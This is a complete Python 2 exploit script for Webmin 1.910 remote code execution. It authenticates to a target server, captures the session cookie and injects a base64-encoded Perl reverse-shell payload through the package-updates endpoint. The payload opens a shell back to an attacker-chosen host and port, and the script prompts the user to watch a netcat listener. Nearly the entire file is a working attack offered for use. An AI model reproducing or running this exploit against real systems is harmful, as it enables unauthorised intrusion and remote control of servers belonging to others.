#!/usr/bin/env python2
# -*- coding: utf8 -*-
import requests
import urllib3
urllib3.disable_warnings()
import argparse
import sys
from termcolor import colored


arg_parser = argparse.ArgumentParser(description='Webmin 1.910 - Remote Code Execution using, python script')
arg_parser.add_argument('--rhost', dest='rhost', help='Ip address of the webmin server', type=str, required=True)
arg_parser.add_argument("--rport", dest="rport", type=int, help="target webmin port, default 10000", default=10000)
arg_parser.add_argument('--lhost', dest='lhost', help='Local ip address to listen for the reverse shell', type=str, required=True)
arg_parser.add_argument("--lport", dest="lport", type=int, help="The Bind port for the reverse shell\n Default is 4444", default=4444)
arg_parser.add_argument('-u','--user', dest='user', help='The username to use for authentication\n By default is admin', default='admin', type=str)
arg_parser.add_argument('-p','--password', dest='password', help='The password to use for authentication', required=True, type=str)
arg_parser.add_argument('-t','--TARGETURI', dest='targeturi', help='Base path for Webmin application. By default set to "/"', default='/',type=str)
arg_parser.add_argument('-s','--SSL', dest='ssl', help='Negotiate SSL/TLS for outgoing connections. By default ssl is set to False', default='False',type=str)
args = arg_parser.parse_args()

# proxy set for test
proxies = {'http': 'http://127.0.0.1:8080','https': 'http://127.0.0.1:8080'}
# retrieve the Cookies sid:
print colored('****************************** Webmin 1.910 Exploit By roughiz*******************************', "blue")
print colored('*********************************************************************************************', "blue")
print colored('*********************************************************************************************', "blue")
print colored('*********************************************************************************************', "blue")
print colored('****************************** Retrieve Cookies sid *****************************************', "blue")

req={'page':'','user':args.user,'pass':args.password}
if args.ssl.lower() in ('yes', 'true', 't', 'y', '1'):
   url="https://"+args.rhost+":"+str(args.rport)+args.targeturi
else:
   url="http://"+args.rhost+":"+str(args.rport)+args.targeturi

resu=requests.post(url+"session_login.cgi",data=req, cookies={"testing":"1"}, verify=False, allow_redirects=False)
if "This web server is running in SSL mode" in resu.content:
    print colored('********** [+] [Exploit][ERROR] Enable the ssl arg !!', "red")
    print(resu.content)
    sys.exit(1)
if "sid" in resu.headers['Set-Cookie']:
   sid= resu.headers['Set-Cookie'].replace('\n', '').split('=')[1].split(";")[0].strip()
   print("\n")
   print colored('********** [+] [Exploit] The Cookie is '+sid, "green")
else:
   print colored('********** [+] [Exploit][ERROR] The authentication to the webmin server failed', "red")
   sys.exit(1)

print("")
print colored('********************************************************************************************', "blue")
print colored('****************************** Create payload and Exploit ***********************************', "blue")
print("\n")

# Templateofthe payload 
template="perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,\""+args.lhost+":"+str(args.lport)+"\");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'"
b64payload = template.encode('base64').replace('\n', '').strip()
payload=' | bash -c "{echo,'+b64payload+'}|{base64,-d}|{bash,-i}"'

## request the payload
req={'u':['acl/apt',payload]}
headers= {'Connection': 'close','referer': url+"package-updates/?xnavigation=1"}

try:
  resu=requests.post(url+"package-updates/update.cgi",data=req, cookies={"sid":sid}, verify=False, allow_redirects=False, headers=headers, timeout=10)
except requests.Timeout:
    pass
except requests.ConnectionError:
    pass
print('\n')
print colored('********** [+] [Exploit] Verify you nc listener on port '+str(args.lport)+' for the incomming reverse shell', "green")

